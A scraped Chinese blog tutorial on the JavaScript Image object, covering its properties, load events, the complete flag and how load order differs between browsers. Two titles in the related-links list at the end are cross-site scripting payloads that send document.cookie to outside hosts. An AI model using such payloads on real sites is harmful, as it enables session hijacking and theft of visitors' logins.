var img = new Image()
来源:互联网 发布:mac下开发java 编辑:程序博客网 时间:2024/05/22 00:29
1.Image 对象
Image 对象代表嵌入的图像。
<img>
标签每出现一次,一个 Image 对象就会被创建。
同理 , 创建一个Image对象,就会生成一个<img>
标签
<body> <script> var img = new Image(); img.src = './img/sky.png'; var body = document.querySelector('body'); body.appendChild(img); </script></body>在浏览器打开,可以看到有图片显示:
2.Image对象de属性
属性 描述src 设置或返回图像的 URL。lowsrc 设置或返回指向图像的低分辨率版本的 URL。complete 返回浏览器是否已完成对图像的加载。align 设置或返回与内联内容的对齐方式。alt 设置或返回无法显示图像时的替代文本。border 设置或返回图像周围的边框。height 设置或返回图像的高度。hspace 设置或返回图像左侧和右侧的空白。id 设置或返回图像的 id。isMap 返回图像是否是服务器端的图像映射。longDesc 设置或返回指向包含图像描述的文档的 URL。name 设置或返回图像的名称。useMap 设置或返回客户端图像映射的 usemap 属性的值。vspace 设置或返回图像的顶部和底部的空白。width 设置或返回图像的宽度。
3.Image 对象的事件句柄
事件句柄 描述onabort 当用户放弃图像的装载时调用的事件句柄。onerror 在装载图像的过程中发生错误时调用的事件句柄。onload 当图像装载完毕时调用的事件句柄。
4.
<body> <script> var img = new Image(); img.onload = function() { alert("img is loaded") }; img.onerror = function() { alert("error!") }; img.src = './img/sky.png'; function show() { alert("body is loaded"); alert('img.complete = ' + img.complete); var body = document.querySelector('body'); body.appendChild(img); }; window.onload = show; </script></body>以上代码在safari浏览器,FF浏览器中的弹出顺序为:alert("img is loaded")alert("body is loaded");alert('img.complete = *true*');然后图片显示。这是因为:在上述浏览器中,img 对象的加载包含在 body 的加载过程中,也就是说 img加载完之后,body 才算是加载完毕,触发 window.onload 事件。因此, 考虑到浏览器的兼容性和网页的加载时间,尽量不要在 Image 对象里放置过多的图片,否则在 FF和 safari 下会影响网页的下载速度。当然如果在 window.onload 之后,执行预加载函数,就不会有 FF 和 safari 中的问题了。在 IE 中,img 对象的加载是不包含在 body 的加载过程之中的,body 加载完毕,window.onload 事件触发时,img 对象可能还未加载结束,img.onload事件会在 window.onload 之后触发。可以通过Image对象的complete 属性来检测图像是否加载完成(每个Image对象都有一个complete属性,当图像处于装载过程中时,该属性值false,当发生了onload、onerror、onabort中任何一个事件后,则表示图像装载过程结束(不管成没成功),此时complete属性为true)注:ie 火狐等大众浏览器均支持 Image对象的onload事件。ie8及以下、opera 不支持onerror事件**需要注意的是:src 属性一定要写到 onload 的后面,否则程序在 IE 中会出错。**
阅读全文
0 0
- var img = new Image()
- js 判断上传图片尺寸大小(var img =new Image())
- <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
- var amc=amc || {}; new object{}
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- new Image()
- background-image 和 img
- jQuery - 参考资料 - complete Property (IMG, INPUT, INPUT type=image):
- jQuery - 参考资料 - complete Property (IMG, INPUT, INPUT type=image):
- input type="image" 和 img 用法区别
- input type="image" 和 img 用法区别
- jsp<input type="image" ...>和<img ...>的区别
- <input type="image"> 和 <img> 用法区别
- <input type="image"> 和 <img> 用法区别
- <input type="image"> 和 <img> 用法区别
- <input type="image" ...>和<img ...>的区别
- js new Image 有时失效,image.width =0
- var d=Date() 与 var d=new Date在JSC的区别
- 1635: [Usaco2007 Jan]Tallest Cow 最高的牛
- Java IDE安装jrebel插件实现项目热部署
- Python-基于用户的协同过滤算法
- OpenWrt后无法开启WiFi/无线的故障解决
- 什么是字符串常量池?
- var img = new Image()
- java中taglib
- LeetCode--1.TwoSum
- 轻院1067: 有问题的里程表
- mongoDB的备份和恢复
- golang实现set数据结构
- AM335x的启动过程
- 第一节:CSS术语和文档
- 在Ubuntu上编译安装MongoDB